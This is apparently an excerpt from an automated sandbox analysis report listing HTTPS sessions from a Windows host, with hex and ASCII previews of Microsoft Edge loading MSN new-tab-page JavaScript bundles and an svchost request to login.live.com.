2024-11-24 18:11:51 UTC	15146	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 28 73 65 6c 66 2e 65 64 67 65 43 68 72 6f 6d 69 75 6d 57 65 62 70 61 63 6b 43 68 75 6e 6b 73 3d 73 65 6c 66 2e 65 64 67 65 43 68 72 6f 6d 69 75 6d 57 65 62 70 61 63 6b 43 68 75 6e 6b 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 63 6f 6d 6d 6f 6e 22 5d 2c 7b 33 36 37 37 37 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 64 28 74 2c 7b 46 76 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 7d 2c 67 51 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 69 7d 7d 29 3b 63 6f 6e 73 74 20 69 3d 22 73 65 6c 65 63 74 65 64 4e 61 76 49 74 65 6d 43 6c 69 63 6b 65 64 22 3b 63 6c 61 73 73 20 72 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 7b 74 68 69 73 2e 73 75 70 70 6f 72 74 Data Ascii: 00006000(self.edgeChromiumWebpackChunks=self.edgeChromiumWebpackChunks\|\|[]).push([["common"],{36777:function(e,t,n){"use strict";n.d(t,{Fv:function(){return r},gQ:function(){return i}});const i="selectedNavItemClicked";class r{constructor(){this.support
2024-11-24 18:11:51 UTC	9442	IN	Data Raw: 67 65 55 52 4c 28 65 29 7b 76 61 72 20 74 2c 6e 3b 69 66 28 6e 75 6c 6c 3d 3d 3d 28 74 3d 74 68 69 73 2e 63 6f 6e 66 69 67 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 74 7c 7c 21 74 2e 64 61 74 61 5b 65 5d 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 63 6f 6e 73 74 20 69 3d 6e 75 6c 6c 3d 3d 3d 28 6e 3d 74 68 69 73 2e 63 6f 6e 66 69 67 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 6e 3f 76 6f 69 64 20 30 3a 6e 2e 64 61 74 61 5b 65 5d 2e 69 6d 61 67 65 5b 60 69 24 7b 74 68 69 73 2e 63 75 72 72 65 6e 74 52 65 73 6f 6c 75 74 69 6f 6e 7d 60 5d 3b 72 65 74 75 72 6e 28 74 68 69 73 2e 62 61 63 6b 67 72 6f 75 6e 64 49 6d 61 67 65 57 43 2e 63 6f 6e 66 69 67 2e 65 6e 61 62 6c 65 53 74 61 74 69 63 49 6d 61 67 65 73 3f 28 30 2c 44 2e 62 66 29 28 60 69 6d 61 67 65 24 7b 65 7d 60 29 3a 44 2e Data Ascii: geURL(e){var t,n;if(null===(t=this.config)\|\|void 0===t\|\|!t.data[e])return null;const i=null===(n=this.config)\|\|void 0===n?void 0:n.data[e].image[`i${this.currentResolution}`];return(this.backgroundImageWC.config.enableStaticImages?(0,D.bf)(`image${e}`):D.
2024-11-24 18:11:51 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 67 64 22 2c 7b 64 65 74 61 69 6c 3a 7b 69 73 4c 6f 77 45 6e 64 44 65 76 69 63 65 3a 21 31 7d 7d 29 29 2c 74 68 69 73 2e 69 73 46 52 45 26 26 74 68 69 73 2e 63 6f 6e 66 69 67 2e 64 69 73 61 62 6c 65 47 61 6c 6c 65 72 79 46 52 45 41 6e 64 4c 6f 77 45 6e 64 29 7b 74 68 69 73 2e 63 75 72 72 65 6e 74 50 72 6f 76 69 64 65 72 3d 22 46 52 45 42 61 63 6b 67 72 6f 75 6e 64 22 3b 62 72 65 61 6b 7d 69 66 28 74 68 69 73 2e 62 61 63 6b 67 72 6f 75 6e 64 47 61 6c 6c 65 72 79 45 6c 69 67 69 62 69 6c 69 74 79 26 26 74 68 69 73 2e 67 61 6c 6c 65 72 79 42 61 63 6b 67 72 6f 75 6e 64 53 65 6c 65 63 74 69 6f 6e 4d 65 74 61 64 61 74 61 29 7b 69 66 28 22 43 4d 53 49 6d 61 67 65 22 3d 3d 3d 74 68 69 73 2e 67 61 6c 6c 65 72 79 42 61 63 6b 67 72 6f 75 Data Ascii: 00006000gd",{detail:{isLowEndDevice:!1}})),this.isFRE&&this.config.disableGalleryFREAndLowEnd){this.currentProvider="FREBackground";break}if(this.backgroundGalleryEligibility&&this.galleryBackgroundSelectionMetadata){if("CMSImage"===this.galleryBackgrou
2024-11-24 18:11:51 UTC	8204	IN	Data Raw: 41 64 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 65 3f 76 6f 69 64 20 30 3a 65 2e 74 69 74 6c 65 2c 69 64 3a 6e 75 6c 6c 3d 3d 3d 28 74 3d 74 68 69 73 2e 6d 61 72 71 75 65 65 41 64 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 74 3f 76 6f 69 64 20 30 3a 74 2e 63 6c 69 63 6b 54 68 72 6f 75 67 68 55 72 6c 7d 7d 29 2e 67 65 74 4d 65 74 61 64 61 74 61 54 61 67 28 29 2c 74 68 69 73 2e 74 65 6c 65 6d 65 74 72 79 54 61 67 73 2e 6d 61 72 71 75 65 65 41 64 43 54 41 42 75 74 74 6f 6e 3d 74 68 69 73 2e 74 65 6c 65 6d 65 74 72 79 4f 62 6a 65 63 74 2e 61 64 64 4f 72 55 70 64 61 74 65 43 68 69 6c 64 28 7b 6e 61 6d 65 3a 22 4d 61 72 71 75 65 65 41 64 43 54 41 42 75 74 74 6f 6e 22 2c 74 79 70 65 3a 54 2e 63 39 2e 49 6e 74 65 72 61 63 74 69 6f 6e 2c 62 65 68 61 76 69 6f 72 3a 54 2e 77 75 Data Ascii: Ad)\|\|void 0===e?void 0:e.title,id:null===(t=this.marqueeAd)\|\|void 0===t?void 0:t.clickThroughUrl}}).getMetadataTag(),this.telemetryTags.marqueeAdCTAButton=this.telemetryObject.addOrUpdateChild({name:"MarqueeAdCTAButton",type:T.c9.Interaction,behavior:T.wu
2024-11-24 18:11:51 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 3f 76 6f 69 64 20 30 3a 65 2e 70 72 6f 70 65 72 74 69 65 73 3b 69 66 28 28 6e 75 6c 6c 3d 3d 74 3f 76 6f 69 64 20 30 3a 74 2e 6c 65 6e 67 74 68 29 3e 30 26 26 6e 29 72 65 74 75 72 6e 20 6e 7d 63 61 74 63 68 28 65 29 7b 63 6f 6e 73 74 20 74 3d 22 45 72 72 6f 72 20 69 6e 20 67 65 74 74 69 6e 67 20 77 70 6f 20 65 76 65 6e 74 20 67 6c 65 61 6d 20 64 61 74 61 22 3b 28 30 2c 6f 2e 48 29 28 72 2e 4f 64 35 2c 74 2c 60 65 72 72 6f 72 3a 24 7b 65 7d 60 29 7d 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 28 29 29 2c 74 68 69 73 2e 63 68 72 6f 6d 69 75 6d 50 61 67 65 53 65 74 74 69 6e 67 73 43 6f 6e 6e 65 63 74 6f 72 3d 28 30 2c 57 2e 4b 30 29 28 6c 2e 52 4c 29 2c 74 68 69 73 2e 69 73 44 61 72 6b 4d 6f 64 65 3d 28 30 2c 59 2e 59 29 28 29 2c 74 68 Data Ascii: 00004000?void 0:e.properties;if((null==t?void 0:t.length)>0&&n)return n}catch(e){const t="Error in getting wpo event gleam data";(0,o.H)(r.Od5,t,`error:${e}`)}return null}()),this.chromiumPageSettingsConnector=(0,W.K0)(l.RL),this.isDarkMode=(0,Y.Y)(),th
2024-11-24 18:11:51 UTC	12	IN	Data Raw: 63 6b 5f 4d 61 72 71 75 65 65 0d 0a Data Ascii: ck_Marquee
2024-11-24 18:11:51 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 41 64 28 74 68 69 73 2e 72 65 66 5f 6d 61 72 71 75 65 65 41 64 53 70 6f 6e 73 6f 72 4c 6f 67 6f 29 7d 61 73 79 6e 63 20 6f 6e 43 6c 69 63 6b 5f 4d 61 72 71 75 65 65 41 64 28 65 29 7b 77 69 6e 64 6f 77 2e 6f 70 65 6e 28 74 68 69 73 2e 6d 61 72 71 75 65 65 41 64 2e 63 6c 69 63 6b 54 68 72 6f 75 67 68 55 72 6c 2c 22 5f 62 6c 61 6e 6b 22 29 2e 66 6f 63 75 73 28 29 2c 61 77 61 69 74 20 73 65 2e 6f 2e 73 65 6e 64 42 65 61 63 6f 6e 73 28 74 68 69 73 2e 6d 61 72 71 75 65 65 41 64 2e 61 64 43 6c 69 63 6b 65 64 55 72 6c 73 29 2c 6b 2e 4d 30 2e 73 65 6e 64 41 63 74 69 6f 6e 45 76 65 6e 74 28 65 2c 54 2e 41 77 2e 43 6c 69 63 6b 2c 54 2e 77 75 2e 4e 61 76 69 67 61 74 65 29 7d 67 65 74 53 74 79 6c 65 46 6f 72 45 6c 65 6d 65 6e 74 4b 65 79 Data Ascii: 00004000Ad(this.ref_marqueeAdSponsorLogo)}async onClick_MarqueeAd(e){window.open(this.marqueeAd.clickThroughUrl,"_blank").focus(),await se.o.sendBeacons(this.marqueeAd.adClickedUrls),k.M0.sendActionEvent(e,T.Aw.Click,T.wu.Navigate)}getStyleForElementKey
2024-11-24 18:11:51 UTC	12	IN	Data Raw: 6c 6f 72 3a 72 67 62 61 28 30 0d 0a Data Ascii: lor:rgba(0
2024-11-24 18:11:51 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 2c 30 2c 30 2c 30 2e 36 34 29 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 31 36 70 78 3b 63 75 72 73 6f 72 3a 64 65 66 61 75 6c 74 3b 68 65 69 67 68 74 3a 33 32 70 78 3b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 65 6e 64 3a 38 70 78 3b 77 69 64 74 68 3a 33 32 70 78 7d 2e 68 6f 74 53 70 6f 74 53 75 62 54 65 78 74 41 72 65 61 7b 63 6f 6c 6f 72 3a 72 67 62 61 28 32 35 35 2c 32 35 35 2c 32 35 35 2c 30 2e 37 34 29 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 36 70 78 3b 6f 70 61 63 69 74 79 3a 30 7d 2e 68 6f 74 53 70 6f 74 53 75 62 54 65 78 74 41 72 65 61 3a 68 6f 76 65 72 7b 6f 70 61 63 69 74 79 3a 31 7d 2e 68 6f 74 53 70 6f 74 54 65 78 74 41 72 65 61 7b 62 6f 72 64 65 72 2d 72 61 64 69 Data Ascii: 00004000,0,0,0.64);border-radius:16px;cursor:default;height:32px;margin-inline-end:8px;width:32px}.hotSpotSubTextArea{color:rgba(255,255,255,0.74);font-size:12px;line-height:16px;opacity:0}.hotSpotSubTextArea:hover{opacity:1}.hotSpotTextArea{border-radi
2024-11-24 18:11:51 UTC	12	IN	Data Raw: 79 6c 65 3d 74 68 69 73 2e 63 0d 0a Data Ascii: yle=this.c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.8	49790	23.209.72.40	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:11:50 UTC	630	OUT	GET /bundles/v1/edgeChromium/latest/experience.80ecb7588d9cda3b33a1.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 18:11:51 UTC	1237	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: b7kbCRWwEKJtwgSbViw16Q== Last-Modified: Fri, 22 Nov 2024 21:29:02 GMT ETag: 0x8DD0B3CAF973186 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: f4db3461-501e-0044-1925-3dd020000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Sun, 24 Nov 2024 18:11:50 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding Alt-Svc: h3=":443"; ma=86400 Akamai-Request-BC: [a=23.210.4.149,b=915665214,c=g,n=US_NJ_SECAUCUS,o=20940] Server-Timing: clientrtt; dur=2, clienttt; dur=0, origin; dur=0, cdntime; dur=0, wpo;dur=0,1s;dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.210.4.149 Akamai-Request-ID: 3693f13e Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.9504d217.1732471910.3693f13e Vary: Origin
2024-11-24 18:11:51 UTC	15147	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 2c 74 2c 6e 2c 6f 2c 61 2c 69 2c 72 3d 7b 32 33 38 36 35 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 64 28 74 2c 7b 53 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 71 7d 7d 29 3b 76 61 72 20 6f 3d 6e 28 33 33 39 34 30 29 2c 61 3d 6e 28 36 35 31 37 35 29 2c 69 3d 6e 28 36 33 30 37 30 29 2c 72 3d 6e 28 33 39 30 30 31 29 2c 73 3d 6e 28 32 32 33 39 30 29 2c 64 3d 6e 28 34 34 38 38 36 29 2c 63 3d 6e 28 34 30 39 32 34 29 3b 76 61 72 20 6c 3d 6e 28 32 38 39 30 34 29 2c 70 3d 6e 28 39 39 34 35 32 29 2c 6d 3d 6e 28 34 32 35 39 30 29 2c 67 3d 6e 28 39 34 35 33 37 29 2c 75 3d 6e 28 38 35 32 30 35 29 2c 68 3d 6e 28 34 37 34 Data Ascii: 00006000!function(){var e,t,n,o,a,i,r={23865:function(e,t,n){"use strict";n.d(t,{S:function(){return q}});var o=n(33940),a=n(65175),i=n(63070),r=n(39001),s=n(22390),d=n(44886),c=n(40924);var l=n(28904),p=n(99452),m=n(42590),g=n(94537),u=n(85205),h=n(474
2024-11-24 18:11:51 UTC	9441	IN	Data Raw: 6f 77 6e 53 63 72 6f 6c 6c 48 61 70 70 65 6e 65 64 3d 21 31 2c 74 68 69 73 2e 66 69 72 73 74 43 6c 69 63 6b 4c 6f 67 3d 21 31 2c 74 68 69 73 2e 66 69 72 73 74 4b 65 79 50 72 65 73 73 4c 6f 67 3d 21 31 2c 74 68 69 73 2e 62 69 6e 67 55 70 73 65 6c 6c 46 6f 63 75 73 65 64 3d 21 31 2c 74 68 69 73 2e 74 72 65 6e 64 69 6e 67 53 65 61 72 63 68 65 73 52 65 71 75 65 73 74 65 64 3d 21 31 2c 74 68 69 73 2e 6f 6e 41 75 74 6f 73 75 67 67 65 73 74 52 65 6e 64 65 72 65 64 3d 65 3d 3e 7b 63 6f 6e 73 74 20 74 3d 65 2e 74 61 72 67 65 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 53 75 67 67 4d 6f 64 65 22 29 3b 74 68 69 73 2e 69 73 4e 65 78 74 57 6f 72 64 41 53 4d 6f 64 65 3d 22 31 22 3d 3d 3d 74 7d 2c 74 68 69 73 2e 6f 6e 41 75 74 6f 73 75 67 67 65 73 74 53 68 6f 77 6e Data Ascii: ownScrollHappened=!1,this.firstClickLog=!1,this.firstKeyPressLog=!1,this.bingUpsellFocused=!1,this.trendingSearchesRequested=!1,this.onAutosuggestRendered=e=>{const t=e.target.getAttribute("SuggMode");this.isNextWordASMode="1"===t},this.onAutosuggestShown
2024-11-24 18:11:51 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 6f 70 65 26 26 22 6b 69 64 73 22 3d 3d 3d 73 2e 6a 47 2e 43 75 72 72 65 6e 74 52 65 71 75 65 73 74 54 61 72 67 65 74 53 63 6f 70 65 2e 61 75 64 69 65 6e 63 65 4d 6f 64 65 3b 21 30 3d 3d 3d 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 65 6e 61 62 6c 65 57 65 62 41 50 49 53 75 67 67 65 74 69 6f 6e 26 26 21 6e 26 26 21 74 68 69 73 2e 69 73 4d 6f 62 69 6c 65 28 29 26 26 21 74 68 69 73 2e 69 73 54 61 62 6c 65 74 28 29 26 26 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 65 6e 61 62 6c 65 4d 53 4e 53 75 67 67 65 73 74 69 6f 6e 73 26 26 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 65 6e 61 62 6c 65 4d 53 4e 53 75 67 67 65 73 74 69 6f 6e 73 3e 30 3f 31 3d 3d 3d 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 65 6e 61 62 6c 65 4d 53 4e 53 75 67 67 65 73 74 69 6f Data Ascii: 00006000ope&&"kids"===s.jG.CurrentRequestTargetScope.audienceMode;!0===this.options.enableWebAPISuggetion&&!n&&!this.isMobile()&&!this.isTablet()&&this.options.enableMSNSuggestions&&this.options.enableMSNSuggestions>0?1===this.options.enableMSNSuggestio
2024-11-24 18:11:51 UTC	8204	IN	Data Raw: 6c 69 67 68 74 22 2c 76 6f 69 64 20 30 29 2c 28 30 2c 6f 2e 67 6e 29 28 5b 77 2e 6c 6b 5d 2c 50 2e 70 72 6f 74 6f 74 79 70 65 2c 22 67 65 74 50 6c 61 63 65 68 6f 6c 64 65 72 22 2c 6e 75 6c 6c 29 2c 28 30 2c 6f 2e 67 6e 29 28 5b 77 2e 6c 6b 5d 2c 50 2e 70 72 6f 74 6f 74 79 70 65 2c 22 65 6e 61 62 6c 65 53 65 61 72 63 68 53 75 67 67 65 73 74 69 6f 6e 47 68 6f 73 74 54 65 6d 70 6c 61 74 65 22 2c 6e 75 6c 6c 29 2c 50 3d 28 30 2c 6f 2e 67 6e 29 28 5b 79 2e 62 5d 2c 50 29 3b 76 61 72 20 49 3d 6e 28 35 30 36 33 32 29 2c 41 3d 6e 28 34 30 33 37 38 29 2c 52 3d 6e 28 39 35 38 29 2c 4c 3d 6e 28 32 37 34 36 30 29 2c 24 3d 6e 28 37 34 34 34 39 29 2c 4d 3d 6e 28 34 32 36 38 39 29 2c 45 3d 6e 28 32 36 37 33 38 29 2c 42 3d 6e 28 33 38 34 39 32 29 2c 6a 3d 6e 28 35 33 31 Data Ascii: light",void 0),(0,o.gn)([w.lk],P.prototype,"getPlaceholder",null),(0,o.gn)([w.lk],P.prototype,"enableSearchSuggestionGhostTemplate",null),P=(0,o.gn)([y.b],P);var I=n(50632),A=n(40378),R=n(958),L=n(27460),$=n(74449),M=n(42689),E=n(26738),B=n(38492),j=n(531
2024-11-24 18:11:51 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 74 68 3a 32 34 70 78 3b 68 65 69 67 68 74 3a 32 34 70 78 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 36 70 78 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 7d 2e 64 65 65 70 2d 73 65 61 72 63 68 2d 62 74 6e 20 23 62 5f 73 68 5f 62 74 6e 5f 74 65 78 74 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 34 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 7d 60 2e 77 69 74 68 42 65 68 61 76 69 6f 72 73 28 28 30 2c 48 2e 55 75 29 28 4f 2e 69 60 20 2e 64 65 65 70 2d 73 65 61 72 63 68 2d 62 74 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 34 61 34 61 34 61 3b 63 6f 6c 6f 72 3a 23 61 32 62 37 66 34 7d 2e 64 65 65 70 2d 73 65 61 72 63 68 2d 62 74 6e 20 23 62 5f 73 68 5f 62 74 6e 5f 69 73 70 72 74 7b 62 61 63 6b 67 72 6f 75 6e 64 Data Ascii: 00004000th:24px;height:24px;margin-right:6px;display:inline-block}.deep-search-btn #b_sh_btn_text{line-height:24px;font-size:14px}`.withBehaviors((0,H.Uu)(O.i` .deep-search-btn{background:#4a4a4a;color:#a2b7f4}.deep-search-btn #b_sh_btn_isprt{background
2024-11-24 18:11:51 UTC	12	IN	Data Raw: 65 28 29 29 7d 60 2c 59 65 3d 0d 0a Data Ascii: e())}`,Ye=
2024-11-24 18:11:51 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 76 65 2e 64 79 60 24 7b 65 3d 3e 65 2e 73 65 61 72 63 68 42 75 74 74 6f 6e 4f 6e 4c 65 66 74 26 26 33 3d 3d 3d 65 2e 73 65 61 72 63 68 49 63 6f 6e 54 72 65 61 74 6d 65 6e 74 3f 71 65 3a 21 65 2e 73 65 61 72 63 68 42 75 74 74 6f 6e 4f 6e 4c 65 66 74 7c 7c 31 21 3d 3d 65 2e 73 65 61 72 63 68 49 63 6f 6e 54 72 65 61 74 6d 65 6e 74 26 26 32 21 3d 3d 65 2e 73 65 61 72 63 68 49 63 6f 6e 54 72 65 61 74 6d 65 6e 74 3f 65 2e 73 65 61 72 63 68 49 63 6f 6e 3f 4a 65 3a 51 65 3a 4b 65 7d 60 2c 58 65 3d 76 65 2e 64 79 60 3c 66 6c 75 65 6e 74 2d 62 75 74 74 6f 6e 20 63 6c 61 73 73 3d 22 73 65 61 72 63 68 2d 62 74 6e 22 20 70 61 72 74 3d 22 62 75 74 74 6f 6e 22 20 74 69 74 6c 65 3d 24 7b 65 3d 3e 65 2e 6f 70 74 69 6f 6e 73 26 26 65 2e 6f 70 Data Ascii: 00004000ve.dy`${e=>e.searchButtonOnLeft&&3===e.searchIconTreatment?qe:!e.searchButtonOnLeft\|\|1!==e.searchIconTreatment&&2!==e.searchIconTreatment?e.searchIcon?Je:Qe:Ke}`,Xe=ve.dy`<fluent-button class="search-btn" part="button" title=${e=>e.options&&e.op
2024-11-24 18:11:51 UTC	12	IN	Data Raw: 46 46 46 46 7d 7d 24 7b 75 2e 0d 0a Data Ascii: FFFF}}${u.
2024-11-24 18:11:51 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 66 31 7d 20 40 6d 65 64 69 61 20 28 66 6f 72 63 65 64 2d 63 6f 6c 6f 72 73 3a 61 63 74 69 76 65 29 7b 2e 61 64 2d 73 6c 75 67 20 2e 61 64 2d 6c 61 62 65 6c 2c 2e 24 7b 28 30 2c 67 2e 6c 6a 29 28 22 2e 61 64 2d 73 6c 75 67 22 29 7d 20 2e 24 7b 28 30 2c 67 2e 6c 6a 29 28 22 2e 61 64 2d 6c 61 62 65 6c 22 29 7d 7b 62 6f 72 64 65 72 3a 30 2e 35 70 78 20 73 6f 6c 69 64 20 62 75 74 74 6f 6e 74 65 78 74 3b 6f 70 61 63 69 74 79 3a 31 7d 2e 61 64 2d 73 6c 75 67 20 2e 61 64 2d 6c 61 62 65 6c 2d 74 65 78 74 2c 2e 24 7b 28 30 2c 67 2e 6c 6a 29 28 22 2e 61 64 2d 73 6c 75 67 22 29 7d 20 2e 24 7b 28 30 2c 67 2e 6c 6a 29 28 22 2e 61 64 2d 6c 61 62 65 6c 2d 74 65 78 74 22 29 7d 7b 63 6f 6c 6f 72 3a 62 75 74 74 6f 6e 74 65 78 74 3b 6f 70 61 63 Data Ascii: 00004000f1} @media (forced-colors:active){.ad-slug .ad-label,.${(0,g.lj)(".ad-slug")} .${(0,g.lj)(".ad-label")}{border:0.5px solid buttontext;opacity:1}.ad-slug .ad-label-text,.${(0,g.lj)(".ad-slug")} .${(0,g.lj)(".ad-label-text")}{color:buttontext;opac
2024-11-24 18:11:51 UTC	12	IN	Data Raw: 74 69 6f 6e 26 26 65 2e 62 65 0d 0a Data Ascii: tion&&e.be

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.8	49788	20.190.177.21	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:11:50 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4722 Host: login.live.com
2024-11-24 18:11:50 UTC	4722	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-24 18:11:51 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Sun, 24 Nov 2024 18:10:51 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C516_BL2 x-ms-request-id: de23bd19-6ec7-4608-b9f2-2ffc733a5326 PPServer: PPV: 30 H: BL02EPF0001D7BE V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sun, 24 Nov 2024 18:11:51 GMT Connection: close Content-Length: 10197
2024-11-24 18:11:51 UTC	10197	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.8	49795	23.44.133.31	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
